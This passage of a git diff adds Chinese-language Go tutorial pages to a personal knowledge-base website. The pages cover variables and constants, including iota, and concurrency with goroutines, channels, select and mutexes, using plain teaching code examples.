  4. +
  5. 反射的性能低下,基于反射实现的代码通常比正常代码运行速度慢一到两个数量级。
  6. +
+ + \ No newline at end of file diff --git a/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-变量常量/index.html b/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-变量常量/index.html new file mode 100644 index 0000000..e975445 --- /dev/null +++ b/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-变量常量/index.html @@ -0,0 +1,88 @@ + + + + + +Go语言基础之变量和常量 | wjlin0 + + + + + + + +

Go语言基础之变量和常量

+

标识符与关键字​

+

标识符​

+

在编程语言中标识符就是程序员定义的具有特殊意义的词,比如变量名、常量名、函数名等等。 Go语言中标识符由字母数字和_(下划线)组成,并且只能以字母和_开头。 举几个例子:abc, _, _123, a123。

+

关键字​

+

关键字是指编程语言中预先定义好的具有特殊含义的标识符。 关键字和保留字都不建议用作变量名。

+

Go语言中有25个关键字:

+
    break        default      func         interface    select
case defer go map struct
chan else goto package switch
const fallthrough if range type
continue for import return var
+

此外,Go语言中还有37个保留字。

+
    Constants:    true  false  iota  nil

Types: int int8 int16 int32 int64
uint uint8 uint16 uint32 uint64 uintptr
float32 float64 complex128 complex64
bool byte rune string error

Functions: make len cap new append copy close delete
complex real imag
panic recover
+

变量​

+

变量的来历​

+

程序运行过程中的数据都是保存在内存中,我们想要在代码中操作某个数据时就需要去内存上找到这个变量,但是如果我们直接在代码中通过内存地址去操作变量的话,代码的可读性会非常差而且还容易出错,所以我们就利用变量将这个数据的内存地址保存起来,以后直接通过这个变量就能找到内存上对应的数据了。

+

变量类型​

+

变量(Variable)的功能是存储数据。不同的变量保存的数据类型可能会不一样。经过半个多世纪的发展,编程语言已经基本形成了一套固定的类型,常见变量的数据类型有:整型、浮点型、布尔型等。

+

Go语言中的每一个变量都有自己的类型,并且变量必须经过声明才能开始使用。

+

变量声明​

+

Go语言中的变量需要声明后才能使用,同一作用域内不支持重复声明。 并且Go语言的变量声明后必须使用。

+

标准声明​

+

Go语言的变量声明格式为:

+
var 变量名 变量类型
+

变量声明以关键字var开头,变量类型放在变量的后面,行尾无需分号。 举个例子:

+
var name string
var age int
var isOk bool
+

批量声明​

+

每声明一个变量就需要写var关键字会比较繁琐,go语言中还支持批量变量声明:

+
var (
a string
b int
c bool
d float32
)
+

变量的初始化​

+

Go语言在声明变量的时候,会自动对变量对应的内存区域进行初始化操作。每个变量会被初始化成其类型的默认值,例如: 整型和浮点型变量的默认值为0。 字符串变量的默认值为空字符串。 布尔型变量默认为false。 切片、函数、指针变量的默认为nil。

+

当然我们也可在声明变量的时候为其指定初始值。变量初始化的标准格式如下:

+
var 变量名 类型 = 表达式
+

举个例子:

+
var name string = "Q1mi"
var age int = 18
+

或者一次初始化多个变量

+
var name, age = "Q1mi", 20
+

类型推导​

+

有时候我们会将变量的类型省略,这个时候编译器会根据等号右边的值来推导变量的类型完成初始化。

+
var name = "Q1mi"
var age = 18
+

短变量声明​

+

在函数内部,可以使用更简略的 := 方式声明并初始化变量。

+
package main

import (
"fmt"
)
// 全局变量m
var m = 100

func main() {
n := 10
m := 200 // 此处声明局部变量m
fmt.Println(m, n)
}
+

匿名变量​

+

在使用多重赋值时,如果想要忽略某个值,可以使用匿名变量(anonymous variable)。 匿名变量用一个下划线_表示,例如:

+
func foo() (int, string) {
return 10, "Q1mi"
}
func main() {
x, _ := foo()
_, y := foo()
fmt.Println("x=", x)
fmt.Println("y=", y)
}
+

匿名变量不占用命名空间,不会分配内存,所以匿名变量之间不存在重复声明。 (在Lua等编程语言里,匿名变量也被叫做哑元变量。)

+

注意事项:

+
    +
  1. 函数外的每个语句都必须以关键字开始(var、const、func等)
  2. +
  3. :=不能使用在函数外。
  4. +
  5. _多用于占位,表示忽略值。
  6. +
+

常量​

+

相对于变量,常量是恒定不变的值,多用于定义程序运行期间不会改变的那些值。 常量的声明和变量声明非常类似,只是把var换成了const,常量在定义的时候必须赋值。

+
const pi = 3.1415
const e = 2.7182
+

声明了pi和e这两个常量之后,在整个程序运行期间它们的值都不能再发生变化了。

+

多个常量也可以一起声明:

+
const (
pi = 3.1415
e = 2.7182
)
+

const同时声明多个常量时,如果省略了值则表示和上面一行的值相同。 例如:

+
const (
n1 = 100
n2
n3
)
+

上面示例中,常量n1、n2、n3的值都是100。

+

iota​

+

iota是go语言的常量计数器,只能在常量的表达式中使用。

+

iota在const关键字出现时将被重置为0。const中每新增一行常量声明将使iota计数一次(iota可理解为const语句块中的行索引)。 使用iota能简化定义,在定义枚举时很有用。

+

举个例子:

+
const (
n1 = iota //0
n2 //1
n3 //2
n4 //3
)
+

几个常见的iota示例:​

+

使用_跳过某些值

+
const (
n1 = iota //0
n2 //1
_
n4 //3
)
+

iota声明中间插队

+
const (
n1 = iota //0
n2 = 100 //100
n3 = iota //2
n4 //3
)
const n5 = iota //0
+

定义数量级 (这里的<<表示左移操作,1<<10表示将1的二进制表示向左移10位,也就是由1变成了10000000000,也就是十进制的1024。同理2<<2表示将2的二进制表示向左移2位,也就是由10变成了1000,也就是十进制的8。)

+
const (
_ = iota
KB = 1 << (10 * iota)
MB = 1 << (10 * iota)
GB = 1 << (10 * iota)
TB = 1 << (10 * iota)
PB = 1 << (10 * iota)
)
+

多个iota定义在一行

+
const (
a, b = iota + 1, iota + 2 //1,2
c, d //2,3
e, f //3,4
)
+ + \ No newline at end of file diff --git a/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-并发/index.html b/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-并发/index.html new file mode 100644 index 0000000..227938f --- /dev/null +++ b/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-并发/index.html @@ -0,0 +1,424 @@ + + + + + +Go语言基础之并发 | wjlin0 + + + + + + + +

Go语言基础之并发

+

并发编程在当前软件领域是一个非常重要的概念,随着CPU等硬件的发展,我们无一例外的想让我们的程序运行的快一点、再快一点。Go语言在语言层面天生支持并发,充分利用现代CPU的多核优势,这也是Go语言能够大范围流行的一个很重要的原因。

+

基本概念​

+

首先我们先来了解几个与并发编程相关的基本概念。

+

串行、并发与并行​

+

串行:我们都是先读小学,小学毕业后再读初中,读完初中再读高中。

+

并发:同一时间段内执行多个任务(你在用微信和两个女朋友聊天)。

+

并行:同一时刻执行多个任务(你和你朋友都在用微信和女朋友聊天)。

+

进程、线程和协程​

+

进程(process):程序在操作系统中的一次执行过程,系统进行资源分配和调度的一个独立单位。

+

线程(thread):操作系统基于进程开启的轻量级进程,是操作系统调度执行的最小单位。

+

协程(coroutine):非操作系统提供而是由用户自行创建和控制的用户态‘线程’,比线程更轻量级。

+

并发模型​

+

业界将如何实现并发编程总结归纳为各式各样的并发模型,常见的并发模型有以下几种:

+
    +
  • 线程&锁模型
  • +
  • Actor模型
  • +
  • CSP模型
  • +
  • Fork&Join模型
  • +
+

Go语言中的并发程序主要是通过基于CSP(communicating sequential processes)的goroutine和channel来实现,当然也支持使用传统的多线程共享内存的并发方式。

+

goroutine​

+

Goroutine 是 Go 语言支持并发的核心,在一个Go程序中同时创建成百上千个goroutine是非常普遍的,一个goroutine会以一个很小的栈开始其生命周期,一般只需要2KB。区别于操作系统线程由系统内核进行调度, goroutine 是由Go运行时(runtime)负责调度。例如Go运行时会智能地将 m个goroutine 合理地分配给n个操作系统线程,实现类似m:n的调度机制,不再需要Go开发者自行在代码层面维护一个线程池。

+

Goroutine 是 Go 程序中最基本的并发执行单元。每一个 Go 程序都至少包含一个 goroutine——main goroutine,当 Go 程序启动时它会自动创建。

+

在Go语言编程中你不需要去自己写进程、线程、协程,你的技能包里只有一个技能——goroutine,当你需要让某个任务并发执行的时候,你只需要把这个任务包装成一个函数,开启一个 goroutine 去执行这个函数就可以了,就是这么简单粗暴。

+

go关键字​

+

Go语言中使用 goroutine 非常简单,只需要在函数或方法调用前加上go关键字就可以创建一个 goroutine ,从而让该函数或方法在新创建的 goroutine 中执行。

+
go f()  // 创建一个新的 goroutine 运行函数f
+

匿名函数也支持使用go关键字创建 goroutine 去执行。

+
go func(){
// ...
}()
+

一个 goroutine 必定对应一个函数/方法,可以创建多个 goroutine 去执行相同的函数/方法。

+

启动单个goroutine​

+

启动 goroutine 的方式非常简单,只需要在调用函数(普通函数和匿名函数)前加上一个go关键字。

+

我们先来看一个在 main 函数中执行普通函数调用的示例。

+
package main

import (
"fmt"
)

func hello() {
fmt.Println("hello")
}

func main() {
hello()
fmt.Println("你好")
}
+

将上面的代码编译后执行,得到的结果如下:

+
hello
你好
+

代码中 hello 函数和其后面的打印语句是串行的。

+

main goroutine

+

接下来我们在调用 hello 函数前面加上关键字go,也就是启动一个 goroutine 去执行 hello 这个函数。

+
func main() {
go hello() // 启动另外一个goroutine去执行hello函数
fmt.Println("main goroutine done!")
}
+

将上述代码重新编译后执行,得到输出结果如下。

+
你好
+

这一次的执行结果只在终端打印了”你好”,并没有打印 hello。这是为什么呢?

+

其实在 Go 程序启动时,Go 程序就会为 main 函数创建一个默认的 goroutine 。在上面的代码中我们在 main 函数中使用 go 关键字创建了另外一个 goroutine 去执行 hello 函数,而此时 main goroutine 还在继续往下执行,我们的程序中此时存在两个并发执行的 goroutine。当 main 函数结束时整个程序也就结束了,同时 main goroutine 也结束了,所有由 main goroutine 创建的 goroutine 也会一同退出。也就是说我们的 main 函数退出太快,另外一个 goroutine 中的函数还未执行完程序就退出了,导致未打印出“hello”。

+

main goroutine 就像是《权利的游戏》中的夜王,其他的 goroutine 都是夜王转化出的异鬼,夜王一死它转化的那些异鬼也就全部GG了。

+

所以我们要想办法让 main 函数‘“等一等”将在另一个 goroutine 中运行的 hello 函数。其中最简单粗暴的方式就是在 main 函数中“time.Sleep”一秒钟了(这里的1秒钟只是我们为了保证新的 goroutine 能够被正常创建和执行而设置的一个值)。

+

按如下方式修改我们的示例代码。

+
package main

import (
"fmt"
"time"
)

func hello() {
fmt.Println("hello")
}

func main() {
go hello()
fmt.Println("你好")
time.Sleep(time.Second)
}
+

将我们的程序重新编译后再次执行,程序会在终端输出如下结果,并且会短暂停顿一会儿。

+
你好
hello
+

为什么会先打印你好呢?

+

这是因为在程序中创建 goroutine 执行函数需要一定的开销,而与此同时 main 函数所在的 goroutine 是继续执行的。

+

main goroutine和hello goorutine

+

在上面的程序中使用time.Sleep让 main goroutine 等待 hello goroutine执行结束是不优雅的,当然也是不准确的。

+

Go 语言中通过sync包为我们提供了一些常用的并发原语,我们会在后面的小节单独介绍sync包中的内容。在这一小节,我们会先介绍一下 sync 包中的WaitGroup。当你并不关心并发操作的结果或者有其它方式收集并发操作的结果时,WaitGroup是实现等待一组并发操作完成的好方法。

+

下面的示例代码中我们在 main goroutine 中使用sync.WaitGroup来等待 hello goroutine 完成后再退出。

+
package main

import (
"fmt"
"sync"
)

// 声明全局等待组变量
var wg sync.WaitGroup

func hello() {
fmt.Println("hello")
wg.Done() // 告知当前goroutine完成
}

func main() {
wg.Add(1) // 登记1个goroutine
go hello()
fmt.Println("你好")
wg.Wait() // 阻塞等待登记的goroutine完成
}
+

将代码编译后再执行,得到的输出结果和之前一致,但是这一次程序不再会有多余的停顿,hello goroutine 执行完毕后程序直接退出。

+

启动多个goroutine​

+

在 Go 语言中实现并发就是这样简单,我们还可以启动多个 goroutine 。让我们再来看一个新的代码示例。这里同样使用了sync.WaitGroup来实现 goroutine 的同步。

+
package main

import (
"fmt"
"sync"
)

var wg sync.WaitGroup

func hello(i int) {
defer wg.Done() // goroutine结束就登记-1
fmt.Println("hello", i)
}
func main() {
for i := 0; i < 10; i++ {
wg.Add(1) // 启动一个goroutine就登记+1
go hello(i)
}
wg.Wait() // 等待所有登记的goroutine都结束
}
+

多次执行上面的代码会发现每次终端上打印数字的顺序都不一致。这是因为10个 goroutine 是并发执行的,而 goroutine 的调度是随机的。

+

动态栈​

+

操作系统的线程一般都有固定的栈内存(通常为2MB),而 Go 语言中的 goroutine 非常轻量级,一个 goroutine 的初始栈空间很小(一般为2KB),所以在 Go 语言中一次创建数万个 goroutine 也是可能的。并且 goroutine 的栈不是固定的,可以根据需要动态地增大或缩小, Go 的 runtime 会自动为 goroutine 分配合适的栈空间。

+

goroutine调度​

+

操作系统内核在调度时会挂起当前正在执行的线程并将寄存器中的内容保存到内存中,然后选出接下来要执行的线程并从内存中恢复该线程的寄存器信息,然后恢复执行该线程的现场并开始执行线程。从一个线程切换到另一个线程需要完整的上下文切换。因为可能需要多次内存访问,索引这个切换上下文的操作开销较大,会增加运行的cpu周期。

+

区别于操作系统内核调度操作系统线程,goroutine 的调度是Go语言运行时(runtime)层面的实现,是完全由 Go 语言本身实现的一套调度系统——go scheduler。它的作用是按照一定的规则将所有的 goroutine 调度到操作系统线程上执行。

+

在经历数个版本的迭代之后,目前 Go 语言的调度器采用的是 GPM 调度模型。

+

gpm

+

其中:

+
    +
  • G:表示 goroutine,每执行一次go f()就创建一个 G,包含要执行的函数和上下文信息。
  • +
  • 全局队列(Global Queue):存放等待运行的 G。
  • +
  • P:表示 goroutine 执行所需的资源,最多有 GOMAXPROCS 个。
  • +
  • P 的本地队列:同全局队列类似,存放的也是等待运行的G,存的数量有限,不超过256个。新建 G 时,G 优先加入到 P 的本地队列,如果本地队列满了会批量移动部分 G 到全局队列。
  • +
  • M:线程想运行任务就得获取 P,从 P 的本地队列获取 G,当 P 的本地队列为空时,M 也会尝试从全局队列或其他 P 的本地队列获取 G。M 运行 G,G 执行之后,M 会从 P 获取下一个 G,不断重复下去。
  • +
  • Goroutine 调度器和操作系统调度器是通过 M 结合起来的,每个 M 都代表了1个内核线程,操作系统调度器负责把内核线程分配到 CPU 的核上执行。
  • +
+

单从线程调度讲,Go语言相比起其他语言的优势在于OS线程是由OS内核来调度的, goroutine 则是由Go运行时(runtime)自己的调度器调度的,完全是在用户态下完成的, 不涉及内核态与用户态之间的频繁切换,包括内存的分配与释放,都是在用户态维护着一块大的内存池, 不直接调用系统的malloc函数(除非内存池需要改变),成本比调度OS线程低很多。 另一方面充分利用了多核的硬件资源,近似的把若干goroutine均分在物理线程上, 再加上本身 goroutine 的超轻量级,以上种种特性保证了 goroutine 调度方面的性能。

+

GOMAXPROCS​

+

Go运行时的调度器使用GOMAXPROCS参数来确定需要使用多少个 OS 线程来同时执行 Go 代码。默认值是机器上的 CPU 核心数。例如在一个 8 核心的机器上,GOMAXPROCS 默认为 8。Go语言中可以通过runtime.GOMAXPROCS函数设置当前程序并发时占用的 CPU逻辑核心数。(Go1.5版本之前,默认使用的是单核心执行。Go1.5 版本之后,默认使用全部的CPU 逻辑核心数。)

+

练习题​

+
    +
  1. 请写出下面程序的执行结果。
  2. +
+
   for i := 0; i < 5; i++ {
go func() {
fmt.Println(i)
}()
}
+

channel​

+

单纯地将函数并发执行是没有意义的。函数与函数间需要交换数据才能体现并发执行函数的意义。

+

虽然可以使用共享内存进行数据交换,但是共享内存在不同的 goroutine 中容易发生竞态问题。为了保证数据交换的正确性,很多并发模型中必须使用互斥量对内存进行加锁,这种做法势必造成性能问题。

+

Go语言采用的并发模型是CSP(Communicating Sequential Processes),提倡通过通信共享内存而不是通过共享内存而实现通信。

+

如果说 goroutine 是Go程序并发的执行体,channel就是它们之间的连接。channel是可以让一个 goroutine 发送特定值到另一个 goroutine 的通信机制。

+

Go 语言中的通道(channel)是一种特殊的类型。通道像一个传送带或者队列,总是遵循先入先出(First In First Out)的规则,保证收发数据的顺序。每一个通道都是一个具体类型的导管,也就是声明channel的时候需要为其指定元素类型。

+

channel类型​

+

channel是 Go 语言中一种特有的类型。声明通道类型变量的格式如下:

+
var 变量名称 chan 元素类型
+

其中:

+
    +
  • chan:是关键字
  • +
  • 元素类型:是指通道中传递元素的类型
  • +
+

举几个例子:

+
var ch1 chan int   // 声明一个传递整型的通道
var ch2 chan bool // 声明一个传递布尔型的通道
var ch3 chan []int // 声明一个传递int切片的通道
+

channel零值​

+

未初始化的通道类型变量其默认零值是nil。

+
var ch chan int
fmt.Println(ch) // <nil>
+

初始化channel​

+

声明的通道类型变量需要使用内置的make函数初始化之后才能使用。具体格式如下:

+
make(chan 元素类型, [缓冲大小])
+

其中:

+
    +
  • channel的缓冲大小是可选的。
  • +
+

举几个例子:

+
ch4 := make(chan int)
ch5 := make(chan bool, 1) // 声明一个缓冲区大小为1的通道
+

channel操作​

+

通道共有发送(send)、接收(receive)和关闭(close)三种操作。而发送和接收操作都使用<-符号。

+

现在我们先使用以下语句定义一个通道:

+
ch := make(chan int)
+

发送​

+

将一个值发送到通道中。

+
ch <- 10 // 把10发送到ch中
+

接收​

+

从一个通道中接收值。

+
x := <- ch // 从ch中接收值并赋值给变量x
<-ch // 从ch中接收值,忽略结果
+

关闭​

+

我们通过调用内置的close函数来关闭通道。

+
close(ch)
+

**注意:**一个通道值是可以被垃圾回收掉的。通道通常由发送方执行关闭操作,并且只有在接收方明确等待通道关闭的信号时才需要执行关闭操作。它和关闭文件不一样,通常在结束操作之后关闭文件是必须要做的,但关闭通道不是必须的。

+

关闭后的通道有以下特点:

+
    +
  1. 对一个关闭的通道再发送值就会导致 panic。
  2. +
  3. 对一个关闭的通道进行接收会一直获取值直到通道为空。
  4. +
  5. 对一个关闭的并且没有值的通道执行接收操作会得到对应类型的零值。
  6. +
  7. 关闭一个已经关闭的通道会导致 panic。
  8. +
+

无缓冲的通道​

+

无缓冲的通道又称为阻塞的通道。我们来看一下如下代码片段。

+
func main() {
ch := make(chan int)
ch <- 10
fmt.Println("发送成功")
}
+

上面这段代码能够通过编译,但是执行的时候会出现以下错误:

+
fatal error: all goroutines are asleep - deadlock!

goroutine 1 [chan send]:
main.main()
.../main.go:8 +0x54
+

deadlock表示我们程序中的 goroutine 都被挂起导致程序死锁了。为什么会出现deadlock错误呢?

+

因为我们使用ch := make(chan int)创建的是无缓冲的通道,无缓冲的通道只有在有接收方能够接收值的时候才能发送成功,否则会一直处于等待发送的阶段。同理,如果对一个无缓冲通道执行接收操作时,没有任何向通道中发送值的操作那么也会导致接收操作阻塞。就像田径比赛中的4x100接力赛,想要完成交棒必须有一个能够接棒的运动员,否则只能等待。简单来说就是无缓冲的通道必须有至少一个接收方才能发送成功。

+

上面的代码会阻塞在ch <- 10这一行代码形成死锁,那如何解决这个问题呢?

+

其中一种可行的方法是创建一个 goroutine 去接收值,例如:

+
func recv(c chan int) {
ret := <-c
fmt.Println("接收成功", ret)
}

func main() {
ch := make(chan int)
go recv(ch) // 创建一个 goroutine 从通道接收值
ch <- 10
fmt.Println("发送成功")
}
+

首先无缓冲通道ch上的发送操作会阻塞,直到另一个 goroutine 在该通道上执行接收操作,这时数字10才能发送成功,两个 goroutine 将继续执行。相反,如果接收操作先执行,接收方所在的 goroutine 将阻塞,直到 main goroutine 中向该通道发送数字10。

+

使用无缓冲通道进行通信将导致发送和接收的 goroutine 同步化。因此,无缓冲通道也被称为同步通道。

+

有缓冲的通道​

+

还有另外一种解决上面死锁问题的方法,那就是使用有缓冲区的通道。我们可以在使用 make 函数初始化通道时,可以为其指定通道的容量,例如:

+
func main() {
ch := make(chan int, 1) // 创建一个容量为1的有缓冲区通道
ch <- 10
fmt.Println("发送成功")
}
+

只要通道的容量大于零,那么该通道就属于有缓冲的通道,通道的容量表示通道中最大能存放的元素数量。当通道内已有元素数达到最大容量后,再向通道执行发送操作就会阻塞,除非有从通道执行接收操作。就像你小区的快递柜只有那么个多格子,格子满了就装不下了,就阻塞了,等到别人取走一个快递员就能往里面放一个。

+

我们可以使用内置的len函数获取通道内元素的数量,使用cap函数获取通道的容量,虽然我们很少会这么做。

+

多返回值模式​

+

当向通道中发送完数据时,我们可以通过close函数来关闭通道。当一个通道被关闭后,再往该通道发送值会引发panic,从该通道取值的操作会先取完通道中的值。通道内的值被接收完后再对通道执行接收操作得到的值会一直都是对应元素类型的零值。那我们如何判断一个通道是否被关闭了呢?

+

对一个通道执行接收操作时支持使用如下多返回值模式。

+
value, ok := <- ch
+

其中:

+
    +
  • value:从通道中取出的值,如果通道被关闭则返回对应类型的零值。
  • +
  • ok:通道ch关闭时返回 false,否则返回 true。
  • +
+

下面代码片段中的f2函数会循环从通道ch中接收所有值,直到通道被关闭后退出。

+
func f2(ch chan int) {
for {
v, ok := <-ch
if !ok {
fmt.Println("通道已关闭")
break
}
fmt.Printf("v:%#v ok:%#v\n", v, ok)
}
}

func main() {
ch := make(chan int, 2)
ch <- 1
ch <- 2
close(ch)
f2(ch)
}
+

for range接收值​

+

通常我们会选择使用for range循环从通道中接收值,当通道被关闭后,会在通道内的所有值被接收完毕后会自动退出循环。上面那个示例我们使用for range改写后会很简洁。

+
func f3(ch chan int) {
for v := range ch {
fmt.Println(v)
}
}
+

**注意:**目前Go语言中并没有提供一个不对通道进行读取操作就能判断通道是否被关闭的方法。不能简单的通过len(ch)操作来判断通道是否被关闭。

+

单向通道​

+

在某些场景下我们可能会将通道作为参数在多个任务函数间进行传递,通常我们会选择在不同的任务函数中对通道的使用进行限制,比如限制通道在某个函数中只能执行发送或只能执行接收操作。想象一下,我们现在有Producer和Consumer两个函数,其中Producer函数会返回一个通道,并且会持续将符合条件的数据发送至该通道,并在发送完成后将该通道关闭。而Consumer函数的任务是从通道中接收值进行计算,这两个函数之间通过Processer函数返回的通道进行通信。完整的示例代码如下。

+
package main

import (
"fmt"
)

// Producer 返回一个通道
// 并持续将符合条件的数据发送至返回的通道中
// 数据发送完成后会将返回的通道关闭
func Producer() chan int {
ch := make(chan int, 2)
// 创建一个新的goroutine执行发送数据的任务
go func() {
for i := 0; i < 10; i++ {
if i%2 == 1 {
ch <- i
}
}
close(ch) // 任务完成后关闭通道
}()

return ch
}

// Consumer 从通道中接收数据进行计算
func Consumer(ch chan int) int {
sum := 0
for v := range ch {
sum += v
}
return sum
}

func main() {
ch := Producer()

res := Consumer(ch)
fmt.Println(res) // 25

}
+

从上面的示例代码中可以看出正常情况下Consumer函数中只会对通道进行接收操作,但是这不代表不可以在Consumer函数中对通道进行发送操作。作为Producer函数的提供者,我们在返回通道的时候可能只希望调用方拿到返回的通道后只能对其进行接收操作。但是我们没有办法阻止在Consumer函数中对通道进行发送操作。

+

Go语言中提供了单向通道来处理这种需要限制通道只能进行某种操作的情况。

+
<- chan int // 只接收通道,只能接收不能发送
chan <- int // 只发送通道,只能发送不能接收
+

其中,箭头<-和关键字chan的相对位置表明了当前通道允许的操作,这种限制将在编译阶段进行检测。另外对一个只接收通道执行close也是不允许的,因为默认通道的关闭操作应该由发送方来完成。

+

我们使用单向通道将上面的示例代码进行如下改造。

+
// Producer2 返回一个接收通道
func Producer2() <-chan int {
ch := make(chan int, 2)
// 创建一个新的goroutine执行发送数据的任务
go func() {
for i := 0; i < 10; i++ {
if i%2 == 1 {
ch <- i
}
}
close(ch) // 任务完成后关闭通道
}()

return ch
}

// Consumer2 参数为接收通道
func Consumer2(ch <-chan int) int {
sum := 0
for v := range ch {
sum += v
}
return sum
}

func main() {
ch2 := Producer2()

res2 := Consumer2(ch2)
fmt.Println(res2) // 25
}
+

这一次,Producer函数返回的是一个只接收通道,这就从代码层面限制了该函数返回的通道只能进行接收操作,保证了数据安全。很多读者看到这个示例可能会觉着这样的限制是多余的,但是试想一下如果Producer函数可以在其他地方被其他人调用,你该如何限制他人不对该通道执行发送操作呢?并且返回限制操作的单向通道也会让代码语义更清晰、更易读。

+

在函数传参及任何赋值操作中全向通道(正常通道)可以转换为单向通道,但是无法反向转换。

+
var ch3 = make(chan int, 1)
ch3 <- 10
close(ch3)
Consumer2(ch3) // 函数传参时将ch3转为单向通道

var ch4 = make(chan int, 1)
ch4 <- 10
var ch5 <-chan int // 声明一个只接收通道ch5
ch5 = ch4 // 变量赋值时将ch4转为单向通道
<-ch5
+

总结​

+

下面的表格中总结了对不同状态下的通道执行相应操作的结果。

+

img

+

**注意:**对已经关闭的通道再执行 close 也会引发 panic。

+

select多路复用​

+

在某些场景下我们可能需要同时从多个通道接收数据。通道在接收数据时,如果没有数据可以被接收那么当前 goroutine 将会发生阻塞。你也许会写出如下代码尝试使用遍历的方式来实现从多个通道中接收值。

+
for{
// 尝试从ch1接收值
data, ok := <-ch1
// 尝试从ch2接收值
data, ok := <-ch2
…
}
+

这种方式虽然可以实现从多个通道接收值的需求,但是程序的运行性能会差很多。Go 语言内置了select关键字,使用它可以同时响应多个通道的操作。

+

Select 的使用方式类似于之前学到的 switch 语句,它也有一系列 case 分支和一个默认的分支。每个 case 分支会对应一个通道的通信(接收或发送)过程。select 会一直等待,直到其中的某个 case 的通信操作完成时,就会执行该 case 分支对应的语句。具体格式如下:

+
select {
case <-ch1:
//...
case data := <-ch2:
//...
case ch3 <- 10:
//...
default:
//默认操作
}
+

Select 语句具有以下特点。

+
    +
  • 可处理一个或多个 channel 的发送/接收操作。
  • +
  • 如果多个 case 同时满足,select 会随机选择一个执行。
  • +
  • 对于没有 case 的 select 会一直阻塞,可用于阻塞 main 函数,防止退出。
  • +
+

下面的示例代码能够在终端打印出10以内的奇数,我们借助这个代码片段来看一下 select 的具体使用。

+
package main

import "fmt"

func main() {
ch := make(chan int, 1)
for i := 1; i <= 10; i++ {
select {
case x := <-ch:
fmt.Println(x)
case ch <- i:
}
}
}
+

上面的代码输出内容如下。

+
1
3
5
7
9
+

示例中的代码首先是创建了一个缓冲区大小为1的通道 ch,进入 for 循环后:

+
    +
  • 第一次循环时 i = 1,select 语句中包含两个 case 分支,此时由于通道中没有值可以接收,所以x := <-ch 这个 case 分支不满足,而ch <- i这个分支可以执行,会把1发送到通道中,结束本次 for 循环;
  • +
  • 第二次 for 循环时,i = 2,由于通道缓冲区已满,所以ch <- i这个分支不满足,而x := <-ch这个分支可以执行,从通道接收值1并赋值给变量 x ,所以会在终端打印出 1;
  • +
  • 后续的 for 循环以此类推会依次打印出3、5、7、9。
  • +
+

通道误用示例​

+

接下来,我们将展示两个因误用通道导致程序出现 bug 的代码片段,希望能够加深读者对通道操作的印象。

+

示例1​

+

各位读者可以查看以下示例代码,尝试找出其中存在的问题。

+
// demo1 通道误用导致的bug
func demo1() {
wg := sync.WaitGroup{}

ch := make(chan int, 10)
for i := 0; i < 10; i++ {
ch <- i
}
close(ch)

wg.Add(3)
for j := 0; j < 3; j++ {
go func() {
for {
task := <-ch
// 这里假设对接收的数据执行某些操作
fmt.Println(task)
}
wg.Done()
}()
}
wg.Wait()
}
+

将上述代码编译执行后,匿名函数所在的 goroutine 并不会按照预期在通道被关闭后退出。因为task := <- ch的接收操作在通道被关闭后会一直接收到零值,而不会退出。此处的接收操作应该使用task, ok := <- ch,通过判断布尔值ok为假时退出;或者使用select 来处理通道。

+

示例2​

+

各位读者阅读下方代码片段,尝试找出其中存在的问题。

+
// demo2 通道误用导致的bug
func demo2() {
ch := make(chan string)
go func() {
// 这里假设执行一些耗时的操作
time.Sleep(3 * time.Second)
ch <- "job result"
}()

select {
case result := <-ch:
fmt.Println(result)
case <-time.After(time.Second): // 较小的超时时间
return
}
}
+

上述代码片段可能导致 goroutine 泄露(goroutine 并未按预期退出并销毁)。由于 select 命中了超时逻辑,导致通道没有消费者(无接收操作),而其定义的通道为无缓冲通道,因此 goroutine 中的ch <- "job result"操作会一直阻塞,最终导致 goroutine 泄露。

+

并发安全和锁​

+

有时候我们的代码中可能会存在多个 goroutine 同时操作一个资源(临界区)的情况,这种情况下就会发生竞态问题(数据竞态)。这就好比现实生活中十字路口被各个方向的汽车竞争,还有火车上的卫生间被车厢里的人竞争。

+

我们用下面的代码演示一个数据竞争的示例。

+
package main

import (
"fmt"
"sync"
)

var (
x int64

wg sync.WaitGroup // 等待组
)

// add 对全局变量x执行5000次加1操作
func add() {
for i := 0; i < 5000; i++ {
x = x + 1
}
wg.Done()
}

func main() {
wg.Add(2)

go add()
go add()

wg.Wait()
fmt.Println(x)
}
+

我们将上面的代码编译后执行,不出意外每次执行都会输出诸如9537、5865、6527等不同的结果。这是为什么呢?

+

在上面的示例代码片中,我们开启了两个 goroutine 分别执行 add 函数,这两个 goroutine 在访问和修改全局的x变量时就会存在数据竞争,某个 goroutine 中对全局变量x的修改可能会覆盖掉另一个 goroutine 中的操作,所以导致最后的结果与预期不符。

+

互斥锁​

+

互斥锁是一种常用的控制共享资源访问的方法,它能够保证同一时间只有一个 goroutine 可以访问共享资源。Go 语言中使用sync包中提供的Mutex类型来实现互斥锁。

+

sync.Mutex提供了两个方法供我们使用。

+ + + + + + + + + + + + + + + + + +
方法名功能
func (m *Mutex) Lock()获取互斥锁
func (m *Mutex) Unlock()释放互斥锁
+

我们在下面的示例代码中使用互斥锁限制每次只有一个 goroutine 才能修改全局变量x,从而修复上面代码中的问题。

+
package main

import (
"fmt"
"sync"
)

// sync.Mutex

var (
x int64

wg sync.WaitGroup // 等待组

m sync.Mutex // 互斥锁
)

// add 对全局变量x执行5000次加1操作
func add() {
for i := 0; i < 5000; i++ {
m.Lock() // 修改x前加锁
x = x + 1
m.Unlock() // 改完解锁
}
wg.Done()
}

func main() {
wg.Add(2)

go add()
go add()

wg.Wait()
fmt.Println(x)
}
+

将上面的代码编译后多次执行,每一次都会得到预期中的结果——10000。

+

使用互斥锁能够保证同一时间有且只有一个 goroutine 进入临界区,其他的 goroutine 则在等待锁;当互斥锁释放后,等待的 goroutine 才可以获取锁进入临界区,多个 goroutine 同时等待一个锁时,唤醒的策略是随机的。

+

读写互斥锁​

+

互斥锁是完全互斥的,但是实际上有很多场景是读多写少的,当我们并发的去读取一个资源而不涉及资源修改的时候是没有必要加互斥锁的,这种场景下使用读写锁是更好的一种选择。读写锁在 Go 语言中使用sync包中的RWMutex类型。

+

sync.RWMutex提供了以下5个方法。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
方法名功能
func (rw *RWMutex) Lock()获取写锁
func (rw *RWMutex) Unlock()释放写锁
